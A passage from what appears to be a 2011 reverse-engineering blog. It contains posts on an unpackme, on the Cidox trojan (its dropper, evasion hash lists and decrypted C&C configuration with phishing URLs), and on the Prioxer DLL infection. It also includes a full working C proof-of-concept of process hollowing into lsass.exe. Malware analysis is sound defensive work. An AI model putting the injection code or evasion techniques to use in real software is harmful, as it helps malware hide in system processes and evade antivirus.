0015411B    5A              POP EDX
0015411C    58              POP EAX
0015411D    FF56 18         CALL DWORD PTR DS:[ESI+18]
[ESI + 18] will be equal to 0x00401000, is it the real OEP ?
00401000    55              PUSH EBP
00401001    8BEC            MOV EBP,ESP
00401003    6A 00           PUSH 0
00401005    68 20104000     PUSH 03_unpac.00401020
0040100A    6A 00           PUSH 0
0040100C    68 E7030000     PUSH 3E7
00401011    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401014    50              PUSH EAX
00401015    E8 56760000     CALL 03_unpac.00408670
0040101A    33C0            XOR EAX,EAX
0040101C    5D              POP EBP
0040101D    C2 1000         RET 10
CALL 03_unpac.00408670 will go to resolve api, and call DialogBoxParamA().
But wait we store first argument into eax, so this function need an argument.
If we look msdn documentation first parameter of DialogBoxParamA() is a handle to the module whose executable file contains the dialog box template.
So the parameter of this function should be the result of GetModuleHandleA(NULL) (this will be first stolen fix).
A second problem is when we will return from DialogBoxParamA, and return from sub_00401000 we should ret to a fonction wich call ExitProcess().
Launch the injector, and attach olly to the process, and search reference to kernel32.ExitProcess, and we found this sub :
0040669C    55              PUSH EBP
0040669D    8BEC            MOV EBP,ESP
0040669F    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
004066A2    50              PUSH EAX
004066A3    E8 F01E0000     CALL 03_unpac.00408598                   ; JMP to kernel32.ExitProcess
004066A8    5D              POP EBP
004066A9    C3              RET

Now we just have to find some place for putting the stolen bytes, just after all the jmp dword ptr [idata_section] it's cool.


Now we can dump our process with our favorite toolz dumper, and fix iat with ImportRec and putting the new OEP.



We test the dump file and it works :].

Conclusion

As deroko said, this unpackme is really not difficult, but I enjoyed solving it.

23/11/2011

Studying Cidox

Introduction

When I saw article from Xylitol's blog about Tracking Cyber Crime: Malwox (Win32/Cidox Affiliate) Mayachok.1, I asked my irc bot to scan each hour files dropped by this site to make some stats about repacking interval ( you can see a screenshot of statistics in next part).
It's cool to have a lot of samples but it's more funny to study them.

Statistics

stats_cidox.png

As you can see it is repacked approximately each 5 / 6 hours to avoid AV detections.
At the moment the bot is in beta test, and many logout occur every time I have to recompile it, so stats are approximate.

Dropper

Here, I will not study packer, but just the method of infection which is not very interesting (and old school ?).

call    ds:GetCommandLineA
push    offset aChk     ; " /chk"
call    strcmp
pop     ecx
test    eax, eax
jz      short if_arg_not_chk
Finding this test was funny, if the unpacked executable found "/chk" on his command line argument, it will exit directly, maybe for testing their repack routine (~5hours).
If it don't find this argument, it will generate a random dll name using this routine :
void generate_name(void)
{
	char	SysPath[256];
	char	VolumeName[256];
	char	SystemName[256];
	char	DLLName[256] = {0};
	DWORD	SerialNumber;
	DWORD	MaxFileName;
	DWORD	SysFlags;
	int		i;
	unsigned int		a;

	GetSystemDirectoryA(SysPath, 256);
	GetVolumeInformationA("c:\\", VolumeName, 256, &SerialNumber, &MaxFileName, &SysFlags, SystemName, 256);
	for (i = 0; i < 8; i++)
	{
		SerialNumber *= 0xD;
		SerialNumber += 0x12D687;
		SerialNumber = _byteswap_ulong(SerialNumber);
	}
	for (i = 0; i < 7; i++)
	{
		a = SerialNumber;
		SerialNumber /= 0x1A;
		DLLName[i] = a % 0x1A + 97;
	}
}

For example :

SerialNumber = 1880116967
Dll name = avjemfc.dll

The dll is then decrypted using custom TEA Algorithm ( we will study it in next part ), and written into %SYSTEMROOT%/system32.
Next it sets into a registry key the AppInit_Dlls value which is the path to this dll, in order that each process using user32.dll will load this dll.
Before restarting your computer with ExitWindowsEx(), it will delete all files present into :

They use SHGetSpecialFolderPath() with csidl argument equal to CSIDL_COOKIES and CSIDL_INTERNET_CACHE to delete them.
Maybe for cleaning traces of infection.

DLL

As you can imagine the dll is also packed.

The DLLMain graph looks like this :

graph_dllmain.png

As you can see there are four branches depending of the fwdReason argument of DLLMain function.
The first one, DLL_PROCESS_ATTACH, will be called when the dll is loaded in each process using user32.dll ( AppInit_Dlls ).
This branch is just here for allocating memory, and unpacking the real stuff of the dll.
It just unpacks the dll, but it will not execute the unpacked code.
It will be executed when fwdReason == DLL_THREAD_ATTACH, so when the process uses CreateThread() for example.
The other branches are not interesting.
After unpacking this stuff, I was able to work with IDA without problem.
There are three branches of different execution flow based on the process name the dll is into :

graph_branch.png

They use an hashing algorithm, in order to test if they are in a browser process or not, and they do the same thing to detect vm processes and av names into program files folder.
So here is a complete test program to test all their hash table :

#include <stdio.h>


int hash_process_vm[] = { 0x99DD4432, 0x1F413C1F, 0x0B2CE5FDE, 0x3BFFF885, 0x64340DCE, 0x63C54474, 0 };
int hash_program_files[] = { 0x0F7C386B2, 0x9E46A936, 0x74B36500, 0x0B6E7E008, 0x65149B58, 0x1CE7528E,
							0x1A704388, 0x4C9EECB5, 0x0D3749631, 0x756ABC4D, 0x3E6A4D93,
							0x812EAFC4, 0x1433DC7E, 0x0C1364B22, 0x5BBE66BD, 0x4965900D,
							0x0E8406786, 0x62F204B9, 0x31A89D7B, 0x0E8AB39EA, 0x0C093AB43,
							0x983757A0, 0x0D5B274B0, 0x2B7F9687, 0x585834DD, 0x0A53C3B2D,
							0x1E519C8D, 0x28388EC6, 0x37A4DB47, 0x2AA1E9D7, 0x83B99225,
							0x6A057127, 0x0D119C72B, 0x5D614D4B, 0x5436485D, 0x45490640,
							0x0E38FAD29, 0 };

int hash_executable_name[] = {0x244CC8B2, 0x9DC03F1E, 0x66B49B77, 0x7207B507, 0x80D1F7CF, 0x37965AFA, 0x9006A423, 0};

char *process_name[] = {"\\IEXPLORE.EXE", "\\FIREFOX.EXE", "\\CHROME.EXE", "\\SAFARI.EXE",
						"\\OPERA.EXE", "\\SVCHOST.EXE", "\\NETSCAPE.EXE", "\\MOZILLA.EXE", 0 };

char *av_program_files[] = {"AVIRA", "AV", "AntiVir", "Synaptics", "Avast", "Alwil Software", "AVG", 
							"BitDefender", "ByteHero", "clamAV", "Commtouch", "Comodo", "DrWeb", 
							"Emsisoft Anti-Malware", "eSafe", "eSafeMNG", "eTrust EZ Antivirus", "FSI",
							"FRISK Software", "F-Secure", "Fortinet", "G Data", "ikarus", "Jiangmin", 
							"k7 computing", "Kaspersky Lab", "McAfee", "ESET", "ESET NOD32 Antivirus", 
							"Norman", "Norton SystemWorks", "Panda Software", "Panda Security", 
							"PC Tools", "PREVX", "Rising", "RAV", "Sophos", "SUPERAntiSpyware", 
							"Symantec AntiVirus", "Symantec", "Trend Micro", "VBA32", "VIPRE", 
							"VIPRE Antivirus", "Sunbelt Software", "ViRobot", "VirusBuster", 0};

char *processvm_name[] = {"vmtoolsd.exe", "VMUpgradeHelper.exe", "TPAutoConnSvc.exe", "VMwareTray.exe", "VMwareUser.exe", 
							"vmacthlp.exe", 0 };

int cidox_hash_func(char *name)
{
	int sum = -1, i, is;
	int actual_chr;

	while (*name)
	{
		actual_chr = *name;
		if (actual_chr >= 0x41 && actual_chr <= 0x5a)
			actual_chr += 0x20;
		sum = actual_chr ^ sum;
		for (i = 0; i < 8; i++)
		{
			is = sum & 0x1;
			sum = (unsigned int)sum >> 1;
			if (is)
				sum ^= 0xEDB88320;
		}
		name++;
	}
	return (~sum);
}

int is_in_list_hash(int *list_hash, int hash)
{
	while (*list_hash)
	{
		if (*list_hash == hash)
			return (1);
		list_hash++;
	}
	return (0);
}

int length_list_hash(int *list_hash)
{
	int	nb = 0;

	while (*list_hash)
	{
		nb++;
		list_hash++;
	}
	return (nb);
}

void check(char **list_to_check, int *list_hash, int (*generate_hash)(char *name), char *wat)
{
	int		hash;
	int		len_list = 0;
	int		found = 0;
	
	printf("\t[+] Now checking .: %s :.\n\n", wat);
	len_list = length_list_hash(list_hash);
	while (*list_to_check)
	{
		hash = generate_hash(*list_to_check);
		if (is_in_list_hash(list_hash, hash))
		{
			printf("%s\t\tis present with Hash ( 0x%08x )\n", *list_to_check, hash);
			found++;
		}
		list_to_check++;
	}
	printf("\n\t[+] Result .: %d Found / %d Total (%d%%) :.\n\n", found, len_list, (found * 100 / len_list * 100) / 100); 
}

void launch_check()
{
	check(process_name, hash_executable_name, cidox_hash_func, "\"Process Name\"");
	check(av_program_files, hash_program_files, cidox_hash_func, "\"AV Program Files\"");
	check(processvm_name, hash_process_vm, cidox_hash_func, "\"Process VM Name\"");
}

Here is an output from the program to test which browser was in this table :

\IEXPLORE.EXE           is present with Hash ( 0x244cc8b2 )
\FIREFOX.EXE            is present with Hash ( 0x9dc03f1e )
\CHROME.EXE             is present with Hash ( 0x66b49b77 )
\SAFARI.EXE             is present with Hash ( 0x7207b507 )
\OPERA.EXE              is present with Hash ( 0x80d1f7cf )
\SVCHOST.EXE            is present with Hash ( 0x9006a423 )

As you can see, I just found 6 process name on the 7 hash, so if you have some idea, you can leave me a comment :], but it's not very important.
The main thing this dll does is hooking several functions from ws2_32.dll :

Theses hooks are setup for redirecting you on phising website when you go on :

Each time your browser window name changes, it will try to contact their command and control server (C&C), to update an interesting configuration file, that you can find into : "C:Documents and SettingsAll UsersApplication Data" under the name "cf".
At the end of this post you can find a toolz to decrypt this configuration file :

GJD747310F000C29177C1B0000...............................................................................
....................................................................................................................
....................................................................................................................
....................................................................................................................
....................................................................................................................
.........30.yandexapps.com/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351.gcoglestats.com/loPtfdn
3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351.msn-dns.com/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=.
&vm=.&al=.&p=.&z=351.94.102.49.64/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351......youtube.com.t/ter
ms..0.yandexapps.com/yt_lxegvj4efc/tube.php?uid=.&id=.&url=...help.vkontakte.ru...0.yandexapps.com/lo_nhyg38deijiwsx
/vhelp.php?uid=.&id=.&url=...help.mail.ru...0.yandexapps.com/ma_ghjkmnbgvfrt/mail.php?uid=.&id=.&url=...admin.vkonta
kte.ru...0.yandexapps.com/lo_nhyg38deijiwsx/kr_vnhuirw43/vadmin.php?uid=.&id=.&url=...update.microsoft.com...0.yande
xapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...update.mozilla.org...0.yandexapps.com/bt_pdfn3skxler/index.php?
uid=.&id=.&url=...download.opera.com...0.yandexapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...chrome.google.com
...0.yandexapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...official.odnoklassniki.ru...0.yandexapps.com/od_xafhu
y2ed/ohelp.php?uid=.&id=.&url=...rushotgirls.com...0.yandexapps.com/bn_9iknfbcgtl/index.php?uid=.&id=.&url=...intern
et.com...0.yandexapps.com/in_xbvgyui3vf/index.php?uid=.&id=.&url=...*.co.cc...0.www.yandex.ru/...yandexapps.com/loPt
fdn3dSasoicn/post.php?id=.&form=.&url=...!CFG............

My toolz is written in assembly language, so for those who are not familiar with this language, here is their custom TEA algo :

int fEKey[4] = {0xB440b08B, 0xACFA7304, 0x9FCAEAEA, 0x1546b9A5};

void TeaDecipher(unsigned int* buf) 
{
    unsigned int second, first; 
	unsigned int key = 0xC6EF3720;

	second = _byteswap_ulong(buf[1]);
	first = _byteswap_ulong(buf[0]);

    for (int i = 0; i < 32; i++) 
	{
        second -= (((first >> 5) ^ (first << 4)) + first)
                ^ (fEKey[(key >> 11) & 3] + key);
        key += 0x61C88647;
        first -= (((second >> 5) ^ (second << 4)) + second)
               ^ (fEKey[key & 3] + key);
    }

	second = _byteswap_ulong(second);
	first = _byteswap_ulong(first);

    buf[0] = first ^ buf[-2];
    buf[1] = second ^ buf[-1];
}

void decy(unsigned char *buf, int size)
{
	int i;

	for (i = size / 4; i > 0; i -= 2)
		TeaDecipher((unsigned int*)(buf + i * 4));
}

When the dll is inside a svchost process, the infection remains persistant, by checking if the configuration file exist, or if AppInits_DLL is set ; but they failed on one thing, the dll file, for desinfecting your pc you have just to rename the dll (my toolz checks if you are infected too and generate for you the name of the dll), and reboot your computer ( not my toolz ;) ).

A last thing that I wasn't able to study is the fact that some times, command and control drops a new executable, and createprocess() after decyphering it.
But it didn't drop me this PE, its name is "ru", because I saw his name when it try to write it at location : "C:\Documents and Settings\All Users\Application Data".

Toolz

cidox_toolz.png

Link Source.rar.

Conclusion

This version of Cidox was not very interesting, 6 months ago, they used VBR infection and dropped a driver, maybe I will study this version soon for having more fun :].

06/11/2011

New method of injection

Introduction

I disovered a new method of injection (I don't know if it is really new) in a malware dropped by duqu.
So I want to share it with you and as usual write a p0c.
Edit : This method is not new, apparently it have been using by game cheats for years, but instead of using ZwUnmapViewOfSection they use FreeLibrary.

Injection Method

The malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process.
First it will create (as usual) a suspended lsass.exe process via CreateProcess().
Then it will gather process information via ZwQueryInformationProcess(), especially PebBaseAddress.
But what can he do with this address, if we look at PEB struct :

>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

It will get the ImageBaseAddress at offset 0x8, by reading it with ReadProcessMemory().
First it create a section with ZwCreateSection(), then it will in the actual process (not in lsass.exe supended), ZwMapViewOfSection() with argument BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he will do the same operation on lsass.exe process but with BaseAdress equal to BaseImage, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform ZwUnmapViewOfSection() with BaseAddress equal to ImageBaseAddress on lsass.exe process.
And if you wonder : "Wait what !? is it possible ?", and the answer is yes.
With this tricks the malware is able to replace ALL the PE image of the suspended process.

p0c

So I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ).
Tested under Windows XP SP3, and Windows Seven SP1 (32 bits).

Main.c :

#include "main.h"

int get_entrypoint(char *read_proc)
{
	IMAGE_DOS_HEADER *idh = NULL;
	IMAGE_NT_HEADERS *inh = NULL;

	idh = (IMAGE_DOS_HEADER*)read_proc;
	inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew);
	printf("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint);
	return (inh->OptionalHeader.AddressOfEntryPoint);
}

int main(void)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char path_lsass[260];
	PROCESS_BASIC_INFORMATION pbi;
	DWORD nb_read;
	DWORD ImageBase;
	HANDLE hsect;
	NTSTATUS stat;
	PVOID BaseAddress = NULL;
	PVOID BaseAddress2 = NULL;
	DWORD oep;

	memset(&si, 0, sizeof(STARTUPINFO));
    	si.cb = sizeof(STARTUPINFO);
    	memset(&pi, 0, sizeof(PROCESS_INFORMATION));
	memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
	ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260);
	wprintf(L"[+] New Path for lsasse.exe = %s\n", path_lsass);
	if (!CreateProcess((LPWSTR)path_lsass, NULL, NULL, NULL, NULL,
					CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW,
					NULL, NULL, &si, &pi))
	{
		printf("[-] CreateProcessW failed\n");
		printf("LatError = %x\n", GetLastError());
		return (-1);
	}

	ZwQueryInformationProcess = (long (__stdcall *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwQueryInformationProcess");
	ZwMapViewOfSection = (long (__stdcall *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))GetProcAddress(GetModuleHandleA("ntdll"),"ZwMapViewOfSection");
	ZwUnmapViewOfSection = (long (__stdcall *)(HANDLE, PVOID))GetProcAddress(GetModuleHandleA("ntdll"),"ZwUnmapViewOfSection");
	ZwCreateSection = (long (__stdcall *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))GetProcAddress(GetModuleHandleA("ntdll"),"ZwCreateSection");

	if (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL)
	{
		printf("[-] GetProcAddress failed\n");
		return (-1);
	}

	if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
    {
		printf("[-] ZwQueryInformation failed\n");
		return (-1);
    }

	printf("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId);

	if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4)
	{
		printf("[-] ReadProcessMemory failed\n");
		return (-1);
	}

	printf("[+] ImageBase = 0x%x\n", ImageBase);

	char read_proc[0x6000];

	if (!ReadProcessMemory(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000)
	{
		printf("[-] ReadProcessMemory failed\n");
		return (-1);
	}

	printf("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]);
	oep = get_entrypoint(read_proc);

	LARGE_INTEGER a;
	a.HighPart = 0;
	a.LowPart = 0x8EF6;

	if ((stat = ZwCreateSection(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
	{
		printf("[-] ZwCreateSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		return (-1);
	}
	SIZE_T size;
	size = 0x8000;

	BaseAddress = (PVOID)0;
	if ((stat = ZwMapViewOfSection(hsect, GetCurrentProcess(), &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
	{
		printf("[-] ZwMapViewOfSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		return (-1);
	}
	memset((BYTE*)read_proc + oep, 0xCC, 1);
	memcpy(BaseAddress, read_proc, 0x2000);
	BaseAddress = (PVOID)ImageBase;
	printf("BaseAddress = %x\n", BaseAddress);

	ZwUnmapViewOfSection(pi.hProcess, BaseAddress);

	if ((stat = ZwMapViewOfSection(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 /* ViewShare */, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
	{
		printf("[-] ZwMapViewOfSection failed\n");
		printf("[-] NTSTATUS = %x\n", stat);
		system("pause");
		return (-1);
	}
	printf("BaseAddress = %x\n", BaseAddress);
	ResumeThread(pi.hThread);
	system("pause");

	return (0);
}

And the include file :

#include <stdio.h>
#include <Windows.h>

#if !defined NTSTATUS
typedef LONG NTSTATUS;
#endif

#define STATUS_SUCCESS 0

#if !defined PROCESSINFOCLASS
typedef LONG PROCESSINFOCLASS;
#endif

#if !defined PPEB
typedef struct _PEB *PPEB;
#endif

#if !defined PROCESS_BASIC_INFORMATION
typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;

typedef LONG NTSTATUS, *PNTSTATUS;
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
  ULONG Length;
  HANDLE RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG Attributes;
  PVOID SecurityDescriptor;
  PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (WINAPI * PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE, PROCESSINFOCLASS,
    PVOID, ULONG, PULONG);

NTSTATUS (__stdcall *ZwQueryInformationProcess)(
  HANDLE  ProcessHandle,
  PROCESSINFOCLASS  ProcessInformationClass,
  PVOID  ProcessInformation,
  ULONG  ProcessInformationLength,
  PULONG  ReturnLength  OPTIONAL
  );

NTSTATUS (__stdcall *ZwCreateSection)(
     PHANDLE  SectionHandle,
     ACCESS_MASK  DesiredAccess,
     PDWORD  ObjectAttributes OPTIONAL,
     PLARGE_INTEGER  MaximumSize OPTIONAL,
     ULONG  SectionPageProtection,
     ULONG  AllocationAttributes,
     HANDLE  FileHandle OPTIONAL
    );

NTSTATUS (__stdcall *ZwMapViewOfSection) (
HANDLE SectionHandle,
HANDLE ProcessHandle,
OUT PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

NTSTATUS (__stdcall *ZwUnmapViewOfSection)(
	HANDLE ProcessHandle,
	PVOID BaseAddress
	);

So for the p0c i just put a INT3 at entry point of lsass.exe, and here the result :

p0clsass.png

Conclusion

This method is really fun because it don't use SetThreadContext(), for updating eip before resuming thread execution.

05/11/2011

Prioxer

Introduction

An (IRC) friend Horgh told me : "Why not study prioxer, it could be fun ?".
But what is prioxer ?
It's simply a backdoor Trojan, wich has a dropper with his own parser for NTFS and FAT format.
That's why it's fun :], it was a cool way to study approximately how can work NTFS File System.

Prioxer

First I looked around for finding a sample ( 31 / 42 ) :

MD5   : 7e3903944eab7b61b495572baa60fb72
SHA1  : 116930517baab6bdb0829990a43af54d155f5332
SHA256: 06e921abf28c4b260c59d61d84a74c3a5dc12ac99a34110ca5480ce61689385c
The thing it will do is to infect the dll "dhcpcsvc.dll" ( we will see after what the purpose of the infection ).

NTFS

(This is not a tutorial about NTFS, it's just result af all the stuff reversed from prioxer, i wanted to have fun with IDA, and take some challenge by not looking too much documentation or source code like ntfs-3g, so if there is some mistake please refer to your friend google for more about NTFS).
But it will not directly open an handle (CreateFile())on this file which is located in "%SYSTEMROOT%/System32/".
It will open an handle on your current hard disk driver( like C: ).
So here is a schem about how it works :

ntfsboot.png

The first thing, we must know on NTFS : all data stored on a volume is contained in file, including data structures used to locate and retrieve files.
A NTFS Volume, will start every time, with a data structures, named NTFS Volume Boot Record, she is here for gathering a maximum of information about the volume, like Number Of Sector, or Bytes Per Sector, ... etc ...
Then with thoses informations, we can access the MFT (Master File Table) which is the heart of the NTFS, it is implemented as an array of file records.
Shel will contain one record, for each file on the volume including a record for the MFT itself.
I will not describe all these files, but a special one : Root directory (also known as "\" or "$I30"). This file record contains an index of the files and directories stored in the root of the NTFS directory structure.
You have understood that prioxer will use this File Record :].
But ! if you look at my schem, we know Root_Directory is the fifth entry in the array of file_record, and i don't know why they do that but they compute the offset to read this file_record with values found in in $DATA Attributes from MFT, why they don't compute the offset in this simply way :

MFT_Addr + sizeof(FILE_ENTRY) * 5.
Anyway, it's not important :], we continue your investigation.
The thing to know is, that every FILE_RECORD has a list of attributes : (especially those)
And a new schem, how the mecanism work (I simplified things):

ntfspart2.png

A directory, is simply an index of file names (along with their file references), organized like a b-tree.
VCN is Virtual Cluster Numbers, a vnc is a linked value to LCN (Logical Cluster Numbers) wich allow to read, write directly on the hardware disk.
So, in your case prioxer will travel the root_directory, look for WINDOWS directory node, then travel "Windows" node, and get "SYSTEM32" node, and get dhcpcsvc.dll.
And he is able now to read, write (with ReadFile() and WriteFile() API) directly to VCNs of this file.
I will not explain more about NTFS, First I'm not familiar with this FileSystem (new for me), and working almost with IDA took me about 2 ~ 3 evenings to well understand how prioxer work.
Next time, I will read some docs :], it will be easier.
Ho by the way i wrote some shit for parsing only my root directory :

FileSystemName = NTFS
[+] Some information about NTFS BPB
        Sector Size = 512
        Sector Per Cluster = 8
        Reserved Sectors = 0
        Media Descriptor ID = 248
        Sector Per Track = 56
        Number Of Heads = 255
        Hidden Sectors = 56
        TotalSectors = 41926023
        Starting Cluster Number for the $MFT = 786432
        Starting Cluster Number for the $MFTMirror = 2620376
        Clusters Per File Record = 246
        Clusters Per Index Block = 1
        Volume Serial Number =
[+] End Information about NTFS BPB

[+] (dbg) Sector Size = 512 bytes
[+] (dbg) Cluster Size = 4096 bytes
[+] (dbg) FileRecord Size = 1024 bytes
Size = 0
[+] FILE_RECORD_MAGIC OK
[+] (dbg) OffsetOfAttr = 38
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 10
                Value Length = 30
                CreateTime = 2d458880
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 30
                Value Length = 44
                ParentRef = 5
                AllocSize = 0
                RealSize = 0
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 50
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = 90
                NameLength = 4
                NameOffset = 18
                Name = $I30
                Attr_type = 30
                EntryOffset = 10
                TotalEntrySize = 28
                AllocEntrySize = 28
                Flags = 1
                FileReference = 0
                Size = 18
                StreamSize = 0
                Flags = 3
                        -- INDEX ENTRY --
                        FileReference = 0
                        Size = 18
                        StreamSize = 0
                        Flags = 3
                        SUB NODE !
                        GetSubNodeVCN = 0
                        [+]STREAM OK ... Name : $AttrDef
                        [+]STREAM OK ... Name : $BadClus
                        [+]STREAM OK ... Name : $Bitmap
                        [+]STREAM OK ... Name : $Boot
                        [+]STREAM OK ... Name : $Extend
                        [+]STREAM OK ... Name : $LogFile
                        [+]STREAM OK ... Name : $MFT
                        [+]STREAM OK ... Name : $MFTMirr
                        [+]STREAM OK ... Name : $Secure
                        [+]STREAM OK ... Name : $UpCase
                        [+]STREAM OK ... Name : $Volume
                        [+]STREAM OK ... Name : .
                        [+]STREAM OK ... Name : AUTOEXEC.BAT
                        [+]STREAM OK ... Name : boot.ini
                        [+]STREAM OK ... Name : Bootfont.bin
                        [+]STREAM OK ... Name : CONFIG.SYS
                        [+]STREAM OK ... Name : Documents and Settings
                        [+]STREAM OK ... Name : DOCUME~1
                        [+]STREAM OK ... Name : IO.SYS
                        [+]STREAM OK ... Name : MSDOS.SYS
                        [+]STREAM OK ... Name : NTDETECT.COM
                        [+]STREAM OK ... Name : ntldr
                        [+]STREAM OK ... Name : pagefile.sys
                        [+]STREAM OK ... Name : Program Files
                        [+]STREAM OK ... Name : PROGRA~1
                        [+]STREAM OK ... Name : RECYCLER
                        [+]STREAM OK ... Name : System Volume Information
                        [+]STREAM OK ... Name : SYSTEM~1
                        [+]STREAM OK ... Name : Toolz
                        [+]STREAM OK ... Name : WINDOWS
                        Last Index Entry
                        -- END INDEX ENTRY --
                        LAST INDEX !!!
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = a0
[+] Information about actual ATTRIBUTE
        ATTR_TYPE = b0
And here is the source code :

Infection

Ok so now we know that prioxer will do some shit with this file, but what !?
So prioxer will change the offset value, of "ServiceMain" exported function :
peid_prioxer.png
And put some code in .text section located at ServiceMain changed offset :
.text:7D4EC895
.text:7D4EC895
.text:7D4EC895                 public ServiceMain
.text:7D4EC895 ServiceMain     proc near               ; DATA XREF: .text:off_7D4D1FCCo
.text:7D4EC895                 inc     ecx
.text:7D4EC896                 dec     ecx
.text:7D4EC897                 add     eax, 0
.text:7D4EC89A                 add     edi, 0
.text:7D4EC89D                 or      eax, 0
.text:7D4EC8A0                 pusha
.text:7D4EC8A1                 inc     edi
.text:7D4EC8A2                 dec     edi
.text:7D4EC8A3                 push    'll'
.text:7D4EC8A8                 inc     eax
.text:7D4EC8A9                 dec     eax
.text:7D4EC8AA                 push    'd.3i'
.text:7D4EC8AF                 xor     ebx, 0
.text:7D4EC8B2                 push    'patc'
.text:7D4EC8B7                 mov     edx, edx
.text:7D4EC8B9                 push    esp             ; lpLibFileName
.text:7D4EC8BA                 or      esi, 0
.text:7D4EC8BD                 call    ds:__imp__LoadLibraryA@4 ; LoadLibraryA(x)
.text:7D4EC8C3                 xor     ebx, 0
.text:7D4EC8C6                 pop     eax
.text:7D4EC8C7                 push    eax
.text:7D4EC8C8                 pop     eax
.text:7D4EC8C9                 pop     eax
.text:7D4EC8CA                 inc     edx
.text:7D4EC8CB                 dec     edx
.text:7D4EC8CC                 pop     eax
.text:7D4EC8CD                 mov     esi, esi
.text:7D4EC8CF                 popa
.text:7D4EC8D0                 add     esi, 0
.text:7D4EC8D3                 mov     eax, offset _ServiceMain@8 ; ServiceMain(x,x)
.text:7D4EC8D8                 mov     ecx, ecx
.text:7D4EC8DA                 jmp     eax
.text:7D4EC8DA ServiceMain     endp
.text:7D4EC8DA
.text:7D4EC8DA 

The snippet of code, will simply load a library with a random name in our case "ctapi3.dll", dropped by prioxer and then jump to the real address of ServiceMain.
I will not study this dll (you can find her into ressource, directly), it simply a botnet component that can exchange commands and data over IRC with a command-and-control.
Then it write a .bat file, and execute it for deleting the dropper.
The only interesting thing was the infection method via a NTFS parser, and infect a windows dll, wihch will be load each time you want to use DHCP.
Another interesting fact is a side effect of this technics, you can find a dllcache directory in %SYSTEMROOT%, NTFS maintains it for some often used system files.
That's why if you are infected by this trojan, you won't be able to see the difference on dhcpsvc.dll, but a tools like gmer with his own ntfs parser can do it, or if you reboot your computer, you will be able to see it, and your AV too.

Conclusion

Big thanks to Horgh for the idea of prioxer, what is next target ?

25/10/2011

Some news, TDL4, IDA

Introduction

I received several mail asking me, if I was still active on my blog.
And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.
So today I give you some news.

TDL4

I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate !
So here is the link to the article.
Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.

TDL4 (New version)

